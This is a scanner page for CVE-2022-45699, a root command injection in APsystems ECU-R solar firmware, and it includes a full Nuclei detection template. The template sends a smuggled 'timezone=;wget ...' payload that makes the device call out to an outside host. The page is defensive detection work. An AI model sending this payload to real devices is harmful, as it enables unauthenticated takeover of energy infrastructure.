APsystems ECU-R Firmware - Command Injection

criticalseverity

9.8CVSS score

76.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.

Impact

Unauthenticated attackers can execute arbitrary commands with root privileges through the timezone parameter in the administration interface, potentially compromising the entire solar power management system and connected infrastructure.

Fix

Upgrade APsystems ECU-R firmware to a patched version that properly sanitizes the timezone parameter and validates input to prevent command injection.

How to confirm it

Send: GET /
Positive when: contains "<title>Altenergy Power Control Software"
Send: POST /index.php/management/set_timezone
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2022-45699 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-45699

info:
  name: APsystems ECU-R Firmware - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with root privileges through the timezone parameter in the administration interface, potentially compromising the entire solar power management system and connected infrastructure.
  remediation: |
    Upgrade APsystems ECU-R firmware to a patched version that properly sanitizes the timezone parameter and validates input to prevent command injection.
  reference:
    - https://github.com/0xst4n/APSystems-ECU-R-RCE-Timezone
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45699
    cwe-id: CWE-78,CWE-94
    epss-score: 0.76604
    epss-percentile: 0.99546
    cpe: cpe:2.3:o:apsystems:ecu-r_firmware:5203:*:*:*:*:*:*:*
  metadata:
    vendor: apsystems
    product: ecu-r_firmware
  tags: cve,cve2022,rce,apsystems,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "<title>Altenergy Power Control Software"
        internal: true

  - raw:
      - |
        POST /index.php/management/set_timezone HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        timezone=;wget+{{interactsh-url}};#

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

https://github.com/0xst4n/APSystems-ECU-R-RCE-Timezone

Use this check only on systems you are authorised to test. Where the data comes from